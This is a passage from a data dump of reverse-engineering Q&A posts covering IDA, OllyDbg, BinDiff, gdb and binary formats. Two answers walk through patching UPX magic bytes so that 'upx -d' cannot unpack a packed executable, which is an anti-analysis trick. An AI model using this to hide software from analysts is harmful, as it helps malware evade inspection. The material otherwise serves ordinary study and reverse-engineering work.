        "Answer": "<p>ollydbg command line plugin accepts <code>BP for Address</code> and <code>BPX for labels</code></p>\n\n<p>so if you require that breakpoint be set in Address use <code>bp CreateWindowExW</code></p>\n\n<p>if you used bpx and no calls existed plugin will open a search for intermodular calls window for you to manually search for the interested api</p>\n\n<p>if you have a call like this</p>\n\n<pre><code>010020ED FF15 A4110001   CALL    NEAR DWORD PTR DS:[&lt;&amp;USER32.CreateWindow&gt;; USER32.CreateWindowExW\n</code></pre>\n\n<p>plugin will set a break on this call with BPX style \nfor bp style you would need to use <code>bp 10020ED</code></p>\n"
    },
    {
        "Id": "3322",
        "CreationDate": "2013-12-29T23:33:04.030",
        "Body": "<p>How Can I save <code>IDA Pro</code>'s normal graph view as image?<br>\nIs there any tool or plugin for that?</p>\n",
        "Title": "Saving IDA graphs as image",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<p>You can save the graph as a .gdl file. You can then use <a href=\"http://search.cpan.org/~tels/Graph-Easy/bin/graph-easy\" rel=\"noreferrer\">graph-easy</a> to convert the GDL file to an image file such as SVG, PNG, JPG etc.</p>\n\n<pre><code>graph-easy --from gdl --input=graph.gdl --png --output=graph.png\n</code></pre>\n"
    },
    {
        "Id": "3323",
        "CreationDate": "2013-12-30T11:04:58.020",
        "Body": "<p>I recently read a <a href=\"https://twitter.com/corkami/status/417604202236350464/photo/1\" rel=\"noreferrer\">tweet</a> from <a href=\"https://reverseengineering.stackexchange.com/users/188/ange\">Ange</a> about a technique to fool UPX when the option <code>-d</code> (decompress) is called.</p>\n\n<p>I would like to know how this is working and, what are the technique to prevent an UPX packed executable to be decompressed through <code>upx -d</code> (if possible for, both, Linux and Windows).</p>\n",
        "Title": "How to prevent \"upx -d\" on an UPX packed executable?",
        "Tags": "|packers|upx|",
        "Answer": "<p>Fooling <code>upx -d</code> can be as simple as one byte patch here is a small sample.</p>\n<p>Pack the MS-Windows standard <code>calc.exe</code>, hexedit one byte and result is an undepackable executable with <code>upx -d</code> (this is <strong>not</strong> <code>corrupting</code> the exe, the exe will run and can be unpacked manually). Only unpacking with the <code>-d</code> switch wont work.</p>\n<ol>\n<li><p>create a new folder <code>foolupx</code>:</p>\n<pre><code> foolupx:\\&gt;md foolupx\n</code></pre>\n</li>\n<li><p>copy <code>calc.exe</code> to the newly created folder:</p>\n<pre><code> foolupx:\\&gt;copy c:\\WINDOWS\\system32\\calc.exe foolupx\\upxedcalc.exe\n     1 file(s) copied.\n</code></pre>\n</li>\n<li><p>pack the renamed <code>calc.exe</code>:</p>\n<pre><code> foolupx:\\&gt;upx .\\foolupx\\upxedcalc.exe\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2011\n UPX 3.08w       Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011\n\n     File size         Ratio      Format      Name\n    --------------------   ------   -----------   -----------\n      114688 -&gt;     56832   49.55%    win32/pe     upxedcalc.exe\n\n Packed 1 file.\n</code></pre>\n</li>\n<li><p>Create a duplicate of the packed <code>calc.exe</code> for hexediting and compare the files. The difference is one byte in the PE header section named <code>UPX0</code> changed to <code>BPX0</code>:</p>\n<pre><code> foolupx:\\&gt;copy .\\foolupx\\upxedcalc.exe .\\foolupx\\modupxedcalc.exe\n     1 file(s) copied.\n\n foolupx:\\&gt;fc .\\foolupx\\upxedcalc.exe .\\foolupx\\modupxedcalc.exe\n Comparing files .\\FOOLUPX\\upxedcalc.exe and .\\FOOLUPX\\MODUPXEDCALC.EXE\n 000001E8: 55 42\n</code></pre>\n</li>\n<li><p>Uncompress both files with the <code>-d</code> switch. One will be unpacked, the other will not be unpacked:</p>\n<pre><code> foolupx:\\&gt;upx -d .\\foolupx\\modupxedcalc.exe\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2011\n UPX 3.08w       Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011\n\n     File size         Ratio      Format      Name\n    --------------------   ------   -----------   -----------\n     upx: .\\foolupx\\modupxedcalc.exe: CantUnpackException: file is modified/hacked/protected; take care!!!\n\n Unpacked 0 files.\n\n foolupx:\\&gt;upx -d .\\foolupx\\upxedcalc.exe\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2011\n UPX 3.08w       Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011\n\n       File size         Ratio      Format      Name\n  --------------------   ------   -----------   -----------\n  114688 &lt;-     56832   49.55%    win32/pe     upxedcalc.exe\n\n Unpacked 1 file.\n\n foolupx:\\&gt;\n</code></pre>\n</li>\n</ol>\n"
    },
    {
        "Id": "3327",
        "CreationDate": "2013-12-30T17:38:03.020",
        "Body": "<p>I have been trying to use IDA Pro (with bindiff) via IDAPython to automate the analysis process of a bios.dump file while outputting the results to a .txt / .asm file. From here I want to use the bindiff functions to compare this database with another database and output any differences to a file.  Any recommendations? </p>\n",
        "Title": "IDA Pro/IDAPython automation through IDAPython",
        "Tags": "|ida|idapython|ida-plugin|bin-diffing|tool-bindiff|",
        "Answer": "<p>With the now free <a href=\"https://www.zynamics.com/software.html\" rel=\"nofollow\">BinDiff 4.2</a> you can do batch analysis with a bit of work.</p>\n\n<p>In the BinDiff installation directory (<code>zynamics/BinDiff 4.2</code>), you will find <code>bin/differ.exe</code> and <code>bin/differ64.exe</code>. Those are binaries for batch diffing of IDBs and <code>.BinExport</code> files.</p>\n\n<p>The basic usage would be:</p>\n\n<pre><code>differ --primary=&lt;directory-with-IDBs&gt; --output-dir=&lt;output-directory&gt;\n</code></pre>\n\n<p>Sadly, this does not work (at least on my machine) as <code>differ.exe</code> fails to find IDA's executable and tries to execute the directory instead.</p>\n\n<p>To solve this, we will export IDBs using the following command:</p>\n\n<pre><code>\"&lt;path-to-idaq.exe&gt;\" -A -OExporterModule:&lt;result-directory&gt; -S\"&lt;path-to-export-script&gt;\" \"&lt;path-to-idb&gt;\"\n</code></pre>\n\n<p>The <code>export-script</code> is an <code>.idc</code> with the following code:</p>\n\n<pre><code>#include &lt;idc.idc&gt;\n\nstatic main()\n{\n    Batch(0);\n    Wait();\n    Exit(1 - RunPlugin(\"zynamics_binexport_8\", 2));\n}\n</code></pre>\n\n<p>Once you have all your <code>.BinExport</code> files in one directory, run the original <code>differ.exe</code> command on that directory (give it the directory with the <code>.BinExport</code> files instead of the <code>.idb</code> files), and you'll get <code>.BinDiff</code> files for all possible diffs. Those can either be opened up in IDA, or manually parsed (they are SQLite databases).</p>\n"
    },
    {
        "Id": "3331",
        "CreationDate": "2013-12-31T02:29:55.723",
        "Body": "<p>How do I fix structures in IDA PRO so they show up properly in Hex-Rays plugin (C decompiler).</p>\n\n<p>Similar question to: (But the solution doesn't work for me)<br> <a href=\"https://reverseengineering.stackexchange.com/questions/2991/struct-with-negative-offset-in-ida-possible\">Struct with negative offset in IDA possible</a></p>\n\n<p>Pretty much what happened is I compiled a very good program and it works right, after that I did many changes to it and now it works worse then the older version, I'm trying to figure out what I did wrong (since I lost the source code now) to revert back to the old version. (I also added below the original piece of the code written in C++, which didn't change between both versions).</p>\n\n<p>Structure's addresses somehow optimized in IDA PRO\nSuch as that</p>\n\n<pre><code>*(_BYTE *)(shipsStruct + 279) = 1; //Ships[i].used = true;\n</code></pre>\n\n<p>should really be <code>[10x4]=40+255= 295</code></p>\n\n<pre><code>*(_BYTE *)(shipsStruct + 295) = 1;  //Ships[i].used = true;\n</code></pre>\n\n<p>You can tell the structure size right here (<code>shipsStruct += 296;</code>)</p>\n\n<p>I'm guessing somehow the un-used structure members are stripped out (but why is the structure size valid?).<br>\nSeems the assembly somehow is offset wrongly (how do I add the proper offset deltas to the struct to fix this)?</p>\n\n<p>When I try this tip <a href=\"http://www.hexblog.com/?p=63\" rel=\"nofollow noreferrer\">http://www.hexblog.com/?p=63</a> \nMy whole IDA PRO freezes up when I select the line <code>mov edi, offset dword_10004C38</code> and press T (IDA PRO 6.1)</p>\n\n<p><img src=\"https://i.stack.imgur.com/GBJzX.png\" alt=\"structoffset\"></p>\n\n<p>Seems I made my struct incorrectly?<br></p>\n\n<p>Here is how the code decompiled code looks like (without applying structure)</p>\n\n<pre><code>  if ( playerListBaseAddress &amp;&amp; !IsBadReadPtr(playerListBaseAddress, 4u) )\n  {\n    shipsStruct = (int)dword_10004C38;\n    while ( 1 )\n    {\n      playerPointer = (struct_v3 *)*((_DWORD *)playerListBaseAddress + maxPlayers);\n      if ( !playerPointer )\n        break;\n      if ( IsBadReadPtr(playerPointer, 4u) )\n        break;\n      *(_DWORD *)(shipsStruct - 4) = playerPointer-&gt;ssXCoord;\n      *(_DWORD *)shipsStruct = playerPointer-&gt;ssYCoord;\n      *(_DWORD *)(shipsStruct + 4) = playerPointer-&gt;ssXSpeed;\n      *(_DWORD *)(shipsStruct + 8) = playerPointer-&gt;ssYSpeed;\n      *(_DWORD *)(shipsStruct - 8) = playerPointer-&gt;ssFreq;\n      *(_DWORD *)(shipsStruct + 20) = playerPointer-&gt;ssShipNum;\n      if ( playerPointer-&gt;ssPlayerName )\n        strcpy_s((char *)(shipsStruct + 24), 0xFFu, &amp;playerPointer-&gt;ssPlayerName);\n      *(_BYTE *)(shipsStruct + 279) = 1;\n      if ( v37 == playerPointer )\n        break;\n      shipsStruct += 296;\n      ++maxPlayers;\n      v37 = playerPointer;\n      if ( shipsStruct &gt;= (signed int)&amp;unk_10017310 )\n        goto finish;\n    }\n    v34 = maxPlayers;\n    if ( maxPlayers &lt; 255 )\n    {\n      v4 = (int)((char *)&amp;unk_10004D4F + 296 * maxPlayers);\n      do\n      {\n        *(_BYTE *)v4 = 0;\n        v4 += 296;\n      }\n      while ( v4 &lt; (signed int)&amp;unk_10017427 );\n    }\n</code></pre>\n\n<p>Here is the orginal code (not decompiled written in C++)</p>\n\n<pre><code>double currentTimer = GetTimer();\ndouble timeElapsed = currentTimer - lastTimer;\n\nint maxPlayers = 0;\nDWORD lastPlayerPtr = 0;\nif (playerListBaseAddress != NULL &amp;&amp; !IsBadReadPtr((void *) playerListBaseAddress, sizeof(ULONG_PTR))) {\n    for (int i = 0; i &lt; 255; i++) { //populate player ship list.\n    DWORD playerPtr = *(DWORD *) (playerListBaseAddress + (i * 4));\n\n    if (playerPtr != NULL &amp;&amp; !IsBadReadPtr((void *) playerPtr, sizeof(ULONG_PTR))) {\n        Ships[i].XCoordinate = *(DWORD *) (playerPtr + 0x4);\n        Ships[i].YCoordinate = *(DWORD *) (playerPtr + 0x8);\n        Ships[i].XSpeed = *(signed long *) (playerPtr + 0x10);\n        Ships[i].YSpeed = *(signed long *) (playerPtr + 0x14);\n        Ships[i].Freq = *(DWORD *) (playerPtr + 0x58);\n        Ships[i].ShipNum = *(BYTE *) (playerPtr + 0x5C)\n        //memcpy(&amp;(Ships[i].Name), (void*)((DWORD)playerPtr+0x6D), 19);\n        if (!*(BYTE *) (playerPtr + 0x6D) == NULL)\n        strcpy_s(Ships[i].Name, (char *) ((DWORD) playerPtr + 0x6D));\n        Ships[i].used = true;\n\n        if (lastPlayerPtr == playerPtr)\n        goto finishList;\n        lastPlayerPtr = playerPtr;\n    } else {\n      finishList:\n        maxPlayers = i;\n        for (int j = i; j &lt; 255; j++)\n        Ships[j].used = false;\n        break;\n    }\n}\n</code></pre>\n\n<p>Here is before and after (applying my custom struct)<br>\nI did the custom struct by doing a bunch of Arrays (* key), then setting proper sizes. (Guessing this isn't the proper way to make a structure in IDA PRO?)\n<img src=\"https://i.stack.imgur.com/c5OBF.png\" alt=\"struct\">\n<br>Before:<br>\n<img src=\"https://i.stack.imgur.com/u2VGH.png\" alt=\"before\">\n<br>After:<br>\n<img src=\"https://i.stack.imgur.com/p96Au.png\" alt=\"after\">\n<br>ASM:<br>\n<img src=\"https://i.stack.imgur.com/wQXTP.png\" alt=\"asm\">\n<br>Edit Function<br>\n<img src=\"https://i.stack.imgur.com/2rANk.png\" alt=\"edit function\">\n<br>Double clicked local variable<br>\n<img src=\"https://i.stack.imgur.com/9vKkW.png\" alt=\"dbl click local variables\"></p>\n",
        "Title": "IDA PRO Structures Defining negative offset -4 -8 offset repair asm Hex-Rays",
        "Tags": "|ida|struct|",
        "Answer": "<p>This feature is supported since Hex-Rays 1.6:</p>\n\n<p><a href=\"http://www.hexblog.com/?p=544\" rel=\"noreferrer\">http://www.hexblog.com/?p=544</a></p>\n\n<p>(see section 3. CONTAINING_RECORD macro)</p>\n"
    },
    {
        "Id": "3335",
        "CreationDate": "2013-12-31T21:43:59.333",
        "Body": "<p>Still on my way to understand how to prevent the usage of the <code>-d</code> (decompress) option of UPX (see this <a href=\"https://reverseengineering.stackexchange.com/questions/3323/how-to-prevent-upx-d-on-an-upx-packed-executable\">question</a>), I try to identify the header file of UPX in ELF executable files.</p>\n\n<p>Looking at the code, all the sources seems to be in the files <code>lx_elf.h</code> and <code>lx_elf.cpp</code> (stands for <em>Linux Elf</em>). I tried to follow the code but I got lost in it...</p>\n\n<p>I also did take a look at the beginning of an UPX compressed executable file (amd64), visualized in 8-bytes per line mode for more clarity (and thanks to <a href=\"http://code.google.com/p/corkami/wiki/ELF101\" rel=\"nofollow noreferrer\">Corkami ELF-101</a>):</p>\n\n<pre><code>00000000: 7f45 4c46 0201 0103  .ELF....\n00000008: 0000 0000 0000 0000  ........\n00000010: 0200 3e00 0100 0000  ..&gt;.....\n00000018: 0831 4200 0000 0000  .1B.....    ELF HEADER\n00000020: 4000 0000 0000 0000  @.......\n00000028: 0000 0000 0000 0000  ........\n00000030: 0000 0000 4000 3800  ....@.8.\n00000038: 0200 4000 0000 0000  ..@.....\n\n00000040: 0100 0000 0500 0000  ........\n00000048: 0000 0000 0000 0000  ........\n00000050: 0000 4000 0000 0000  ..@.....\n00000058: 0000 4000 0000 0000  ..@.....    PROGRAM HEADER TABLE\n00000060: f438 0200 0000 0000  .8......\n00000068: f438 0200 0000 0000  .8......\n00000070: 0000 2000 0000 0000  .. .....\n00000078: 0100 0000 0600 0000  ........\n\n00000080: 487d 0500 0000 0000  H}......\n00000088: 487d 6500 0000 0000  H}e.....\n00000090: 487d 6500 0000 0000  H}e.....\n00000098: 0000 0000 0000 0000  ........\n000000a0: 0000 0000 0000 0000  ........    UPX HEADER (???)\n000000a8: 0000 2000 0000 0000  .. .....\n000000b0: a298 b634 5550 5821  ...4UPX!\n000000b8: f407 0d16 0000 0000  ........\n000000c0: 1676 0500 1676 0500  .v...v..\n000000c8: 0002 0000 bd00 0000  ........\n000000d0: 0200 0000 fbfb 21ff  ......!.\n\n000000d8: 7f45 4c46 0201 0100  .ELF....\n000000e0: 0200 3e00 0d70 2840  ..&gt;..p(@\n000000e8: 0f1b f26d 1605 00e8  ...m....   ELF HEADER (again)\n000000f0: 6d05 0013 01eb be7b  m......{\n000000f8: 3800 0805 1c00 1b00  8.......\n00000100: 060f 0527 9b90 27ec  ...'..'.\n00000108: 4000 4007 c001 0008  @.@.....\n....8&lt;....\n</code></pre>\n\n<p>My guess is that the second ELF header (always located at an offset of <code>0xd8</code>) is the header of the compressed executable. And indeed, when looking at the original ELF header of the executable (before applying <code>upx</code>) we find:</p>\n\n<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............\n00000010: 0200 3e00 0100 0000 7028 4000 0000 0000  ..&gt;.....p(@.....\n00000020: 4000 0000 0000 0000 e86d 0500 0000 0000  @........m......\n00000030: 0000 0000 4000 3800 0800 4000 1c00 1b00  ....@.8...@.....\n00000040: 0600 0000 0500 0000 4000 0000 0000 0000  ........@.......\n00000050: 4000 4000 0000 0000 4000 4000 0000 0000  @.@.....@.@.....\n00000060: c001 0000 0000 0000 c001 0000 0000 0000  ................\n00000070: 0800 0000 0000 0000 0300 0000 0400 0000  ................\n00000080: 0002 0000 0000 0000 0002 4000 0000 0000  ..........@.....\n</code></pre>\n\n<p>A few fields have been omitted in the compressed version but the header is mainly preserved. So, lets assume this is just a short version of the original ELF header.</p>\n\n<p>But, what I would like to understand are the fields of the first header:</p>\n\n<pre><code>00000080: 487d 0500 0000 0000  H}......\n00000088: 487d 6500 0000 0000  H}e.....\n00000090: 487d 6500 0000 0000  H}e.....\n00000098: 0000 0000 0000 0000  ........\n000000a0: 0000 0000 0000 0000  ........    UPX HEADER (???)\n000000a8: 0000 2000 0000 0000  .. .....\n000000b0: a298 b634 5550 5821  ...4UPX!\n000000b8: f407 0d16 0000 0000  ........\n000000c0: 1676 0500 1676 0500  .v...v..\n000000c8: 0002 0000 bd00 0000  ........\n000000d0: 0200 0000 fbfb 21ff  ......!.\n</code></pre>\n\n<p>So, my question is about discovering the location and the meaning of the fields of the UPX header. If somebody knows about UPX internals any hint would be appreciated.</p>\n",
        "Title": "Decoding the UPX ELF header file",
        "Tags": "|elf|packers|upx|",
        "Answer": "<p>It's very easy to prevent the UPX tool to unpack an UPX compressed file. If you take a look to the source code you will see that it checks for the magic string <code>UPX_MAGIC_LE32</code> in <code>p_lx_interp.cpp</code>. So, I simply changed all matches of the string (in binary chunks) \"<code>UPX!</code>\" to \"<code>AAA!</code>\". I copied <code>/bin/ls</code> (ELF64) to another folder and packed with UPX. Then I edited it like this:</p>\n\n<pre>\n$ pyew ls\nELF Information\n(...)\n[0x00000000]> /s UPX # Search for the string UPX\nHINT[0x000000b4]: UPX!........p...p...8.............!..ELF......>...E@..e....p\nHINT[0x0000abcc]: UPX!.........S...USQRH..VH..H..1.1.H....P.....t.....H.......\nHINT[0x0000ad3b]: UPX executable packer http://upx.sf.net $..$Id: UPX 3.07 Cop\nHINT[0x0000ad6b]: UPX 3.07 Copyright (C) 1996-2010 the UPX Team. All Rights Re\nHINT[0x0000ad90]: UPX Team. All Rights Reserved. $....^j._j.X..j._j....N...p...I.......\n[0x00000000]> s 0xb4 # Seek to the specified offset in the file\n[0x000000b4:0x000000b4]> edit # Open the file for editing\n[0x000000b4:0x000000b4]> wx 414141 # Patch in hexadecimal\n[0x000000b4:0x000000b4]> s 0xabcc\n[0x0000abcc:0x0000abcc]> wx 414141\n[0x0000abcc:0x0000abcc]> s 0xafe7\n[0x0000afe7:0x0000afe7]> wx 414141\n[0x0000afe7:0x0000afe7]> s 0xb3ac\n[0x0000b3ac:0x0000b3ac]> wx 414141\n[0x0000b3ac:0x0000b3ac]> q # And quit\n$ ./ls\n(...lots of files...)\n$ upx -d ./ls\n                       Ultimate Packer for eXecutables\n                          Copyright (C) 1996 - 2010\nUPX 3.07        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 08th 2010\n        File size         Ratio      Format      Name\n   --------------------   ------   -----------   -----------\nupx: ls: NotPackedException: not packed by UPX\n\nUnpacked 0 files.\n</pre>\n\n<p>That's all. Anyway, remember that you're only preventing this tool to unpack UPX compressed files. UPX is a compressor that anyone with basic knowledge about packers can uncompress with little to no effort.</p>\n"
    },
    {
        "Id": "3336",
        "CreationDate": "2014-01-01T06:24:13.160",
        "Body": "<p>I am trying to reverse engineer a DLL that may contain malware. One thing I noticed is that it hides itself from the DLL <code>LDR_MODULE</code> list. So, when I use Ollydbg or smiler tools I do not see it and cannot dump it. </p>\n\n<p>I don't have the DLL file. I just have an executable file that injects the DLL into a certain process.</p>\n",
        "Title": "How to dump a DLL not listed using Process Explore and similar tools",
        "Tags": "|malware|ollydbg|dll|",
        "Answer": "<p>I'll list some ways to do it. Obviously there are many others and most likely other fellows here will add. Start with those as they are ones of the mostly used.</p>\n\n<ol>\n<li>While debugging a malicious process, BP on <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674%28v=vs.85%29.aspx\" rel=\"nofollow\">WriteProcessMemory</a>/NtMapViewOfSection API. Those are used to copy/map potential DLL into the remote process. Before the copying or mapping is done, you can dump the buffer to disk. Check the manual of the above APIs to find the local buffer which will be copied to remote process.</li>\n<li>Alternatively, if you have s little understanding what malicious code is doing you can follow it by inspecting the log of <a href=\"http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx\" rel=\"nofollow\">procmon</a>. Once you see something in the log that is 100% done by the mal-DLL, you can open that log line and inspect the stack. The stack will tell you at what page the mal-DLL resides. If you know at what memory page the DLL resides in the infected process, you can use for example <a href=\"http://processhacker.sourceforge.net/\" rel=\"nofollow\">Process Hacker</a> for dumping this specific memory page by clicking on the process and inspecting memory tab.</li>\n<li>Alternatively, you can dump the whole memory of the infected machine and use tool - <a href=\"https://code.google.com/p/volatility/\" rel=\"nofollow\">Volatility</a> to inspect the memory of a specific process or all the processes.</li>\n</ol>\n"
    },
    {
        "Id": "3340",
        "CreationDate": "2014-01-02T14:42:46.873",
        "Body": "<p>I have been using BinDiff as a plug-in for IDA Pro. I understand it is not possible to run this plug-in via terminal/batch mode. Is there a way I can export the results to a more readable format such as a .pdf or a .txt? I need a more readable format then the .BinDiff and .BinExport formats that it generates. </p>\n",
        "Title": "Formatting BinDiff results to a .txt",
        "Tags": "|ida|idapython|ida-plugin|tool-bindiff|",
        "Answer": "<p>Zynamics replied, they said that they removed the to text functionality as it was mostly used for debugging. However the .BinDiff results are essentially an SQLite file and can be handled as one. Firefox has a plug-in to read these SQLite files found <a href=\"https://addons.mozilla.org/en-US/firefox/addon/sqlite-manager/\" rel=\"nofollow\">here</a>. For linux I have found that <a href=\"http://sqliteman.com/\" rel=\"nofollow\">Sqliteman</a> works well. </p>\n"
    },
    {
        "Id": "3342",
        "CreationDate": "2014-01-03T04:45:56.790",
        "Body": "<p>I'd like to automate the following in my <code>.gdbinit</code>:</p>\n\n<pre><code>break boost::uuids::detail::sha1::process_bytes\n\n# When execution stops at the above breakpoint,\n# I want to display the contents of `rcx` as a string:\nx/s $rcx\nc  # do not stop here\n</code></pre>\n\n<p>How do I automate this?</p>\n\n<h3>UPDATE: Here's a better <code>.gdbinit</code> example:</h3>\n\n<pre><code># Our custom-built libcurl, with debugging symbols enabled:\nset environment LD_PRELOAD=./curl/curl-7.34.0/lib/.libs/libcurl.so\n\n# File that connects to the evil server:\nfile ./evil\n\n# Make sure we get notified when it connects!\nbreak curl_easy_setopt\ncommands $bpnum\nclear curl_easy_setopt  # to avoid recursion\ncall curl_easy_setopt(curl, CURLOPT_VERBOSE)\ncontinue\nend\n</code></pre>\n\n<p>This hooks in to the evil binary, and when it initialises its curl handle, we set set it to verbose so we get lots of output about what's going on.</p>\n\n<p>Thanks for the answer.</p>\n",
        "Title": "Run command on breakpoint without stopping",
        "Tags": "|gdb|",
        "Answer": "<p>Easy enough. In your case what you most likely want is <a href=\"http://www.sourceware.org/gdb/onlinedocs/gdb.html#Break-Commands\" rel=\"noreferrer\"><code>commands</code></a> which can be used to create \"routines\" that run whenever a breakpoint is hit. For your case roughly:</p>\n\n<pre><code>break boost::uuids::detail::sha1::process_bytes\ncommands 1\nx/s $rcx\ncontinue\nend\n</code></pre>\n\n<p>Problem is that you need to hardcode the breakpoint number. Depending on the GDB version you may get around this using the <code>$bpnum</code> convenience variable. So:</p>\n\n<pre><code>break boost::uuids::detail::sha1::process_bytes\ncommands $bpnum\nx/s $rcx\ncontinue\nend\n</code></pre>\n\n<p>Also see <a href=\"https://stackoverflow.com/a/11019683/476371\">this</a> concerning the last example.</p>\n\n<p><strong>Note:</strong> using this method can be quite taxing on the CPU depending on how often this gets called and whether a hardware breakpoint could be used by GDB.</p>\n\n<hr>\n\n<p>You can also use the conditional form of breakpoints. Check out the actual authoritative reference <a href=\"http://www.sourceware.org/gdb/onlinedocs/gdb.html#Set-Breaks\" rel=\"noreferrer\">here</a>. The form looks like this:</p>\n\n<pre><code>break ... if cond\n</code></pre>\n\n<p>You can also set the condition independent of setting the breakpoint, if you know the breakpoint number. Use <code>info break</code> to get the number of the breakpoint and then use that as <code>bnum</code> in:</p>\n\n<pre><code>condition bnum expression\n</code></pre>\n"
    },
    {
        "Id": "3352",
        "CreationDate": "2014-01-03T16:31:47.230",
        "Body": "<p>I am trying to disassemble some various files, and IDA does not recognize them. Is there anyway to add more file types to IDA Pro? I am running ida 6.5</p>\n",
        "Title": "IDA Pro only recognizes my files as BINARY",
        "Tags": "|ida|binary-analysis|ida-plugin|idapro-sdk|",
        "Answer": "<p>You would need to create a Loader plugin for them. See the <code>ldr</code> directory in the IDA Pro SDK.</p>\n\n<p>Once the Loader is built, you would copy it to the <code>loaders</code> subdirectory under IDA Pro's directory.</p>\n\n<p>Here's a nice blog entry on writing IDA Pro file loaders in higher level languages: <a href=\"http://www.hexblog.com/?p=110\" rel=\"nofollow\">http://www.hexblog.com/?p=110</a></p>\n"
    },
    {
        "Id": "3362",
        "CreationDate": "2014-01-05T07:02:16.673",
        "Body": "<p>How to understand if exe/dll is written in C++/.Net/Java or in any other language. I tried to use Dependency walker but not able to get required information.</p>\n",
        "Title": "How to know in which language/technology program (.exe) is written?",
        "Tags": "|disassembly|windows|binary-analysis|static-analysis|executable|",
        "Answer": "<p>(blatant plug)</p>\n<p>protectionid (pid.gamecopyworld.com) reports the compiler info (turn it on in the configuration)</p>\n<p>to do it, its a multitude of things</p>\n<p>checking for byte patterns</p>\n<p>checking imports (mscoree.dll, msvcr*.dll and so on)</p>\n<p>checking entrypoint code</p>\n<p>checking mz stub</p>\n<p>checking linker version</p>\n<p>and a few other things</p>\n<p>example output</p>\n<p>Scanning -&gt; C:\\ProtectionID.source\\problematic.files\\solved\\detected\\Agile.NET\n6.2.0.16.AgileNETUnpackMe\\AgileUnpackMe.exe</p>\n<p>File Type : 32-Bit Exe (Subsystem : Win GUI / 2), Size : 7680 (01E00h) Byte(s)</p>\n<p>[File Heuristics] -&gt; Flag : 00000100000001001101000000110000 (0x0404D030)</p>\n<p>[Entrypoint Section Entropy] : 5.25 (section #0) &quot;.text   &quot; | Size : 0x1288 (4744) byte(s)</p>\n<p>[DllCharacteristics] -&gt; Flag : (0x8540) -&gt; ASLR | DEP | NOSEH | TSA</p>\n<p>[ImpHash] -&gt; f34d5f2d4577ed6d9ceec516c1f5a744</p>\n<p>[SectionCount] 3 (0x3) | ImageSize 0x8000 (32768) byte(s)</p>\n<p>[VersionInfo] Product Name : AgileUnpackMe</p>\n<p>[VersionInfo] Product Version : 1.0.4999.25574</p>\n<p>[VersionInfo] File Description : AgileUnpackMe</p>\n<p>[VersionInfo] File Version : 1.0.4999.25574</p>\n<p>[VersionInfo] Original FileName : AgileUnpackMe.exe</p>\n<p>[VersionInfo] Internal Name : AgileUnpackMe.exe</p>\n<p>[VersionInfo] Legal Copyrights : Copyright 2013</p>\n<p>[Debug Info] (record 1 of 1) (file offset 0x1414)</p>\n<p>Characteristics : 0x0 | TimeDateStamp : 0x522C69AD | MajorVer : 0 / MinorVer : 0 -&gt; (0.0)</p>\n<p>Type : 2 (0x2) -&gt; CodeView | Size : 0x57 (87)</p>\n<p>AddressOfRawData : 0x3230 | PointerToRawData : 0x1430</p>\n<p>CvSig : 0x53445352 | SigGuid A75CE0F5-0D67-4FC4-A2C612B95C81F742</p>\n<p>Age : 0x6 | Pdb : c:\\AgileUnpackMe\\AgileUnpackMe\\obj\\x86\\Debug\\AgileUnpackMe.pdb</p>\n<p>[!] AgileDotNet detected</p>\n<p>[CompilerDetect] -&gt; .NET</p>\n<p>[.] .Net Info -&gt; v 2.5 | x86 managed (/platform:x86) | Flags : 0x00000003 -&gt;\nCOMIMAGE_FLAGS_ILONLY | COMIMAGE_FLAGS_32BITREQUIRED |</p>\n<p>[.] Entrypoint (Token) : 0x06000006</p>\n<p>[.] MetaData RVA : 0x00002184 | Size : 0x00000C0C (3084)</p>\n<p>[.] MetaData-&gt;Version 1.1 -&gt; v2.0.50727</p>\n<p>[.] Flags : 0x0 | Streams : 0x5 (5)</p>\n<ul>\n<li>Scan Took : 0.156 Second(s) [00000009Ch (156) tick(s)] [539 scan(s) done]</li>\n</ul>\n"
    },
    {
        "Id": "3367",
        "CreationDate": "2014-01-05T14:40:15.913",
        "Body": "<p>I've been writing a small library to allow parsing of the data files used by Sage Accounts 50, but I'm really confused by how it is storing dates. </p>\n\n<p>I'm fairly sure that there will be a date created and date modified. </p>\n\n<p>This should contain a modified date of 05/01/2014</p>\n\n<pre><code>01 00 00 00 01 00 00 27 00 00 00 65 87 A9 CB 80 55 E4 40 EA 7D BC E5 1B 55 E4 40 65 87 A9 CB 80 55 E4 40 00\n</code></pre>\n\n<p>12/02/2014:</p>\n\n<pre><code>01 00 00 00 01 00 00 29 00 00 00 72 11 06 D0 81 55 E4 40 EA 7D BC E5 1B 55 E4 40 72 11 06 D0 81 55 E4 40 00\n</code></pre>\n\n<p>16/06/2014:</p>\n\n<pre><code>01 00 00 00 01 00 00 2B 00 00 00 6A F8 DB D4 81 55 E4 40 EA 7D BC E5 1B 55 E4 40 6A F8 DB D4 81 55 E4 40 00\n</code></pre>\n\n<p>12/12/2013:</p>\n\n<pre><code>01 00 00 00 01 00 00 2D 00 00 00 F8 F1 96 E6 81 55 E4 40 EA 7D BC E5 1B 55 E4 40 F8 F1 96 E6 81 55 E4 40 00\n</code></pre>\n\n<p>Any help would be really appreciated. I've already tried looking for unix time stamps and also <code>struct tm</code>, without any luck.</p>\n\n<p>Thanks</p>\n\n<h2>EDIT</h2>\n\n<p>As requested here are some dates which are more sequential:</p>\n\n<pre><code>01/12/13 - 01 00 00 00 01 00 00 2F 00 00 00 7C E8 A9 80 94 55 E4 40 EA 7D BC E5 1B 55 E4 40 7C E8 A9 80 94 55 E4 40 00\n02/12/13 - 01 00 00 00 01 00 00 31 00 00 00 81 59 DC 89 94 55 E4 40 EA 7D BC E5 1B 55 E4 40 81 59 DC 89 94 55 E4 40 00\n03/12/13 - 01 00 00 00 01 00 00 33 00 00 00 BF 58 F2 8B 94 55 E4 40 EA 7D BC E5 1B 55 E4 40 BF 58 F2 8B 94 55 E4 40 00\n</code></pre>\n",
        "Title": "What is the format of this date time?",
        "Tags": "|binary-analysis|",
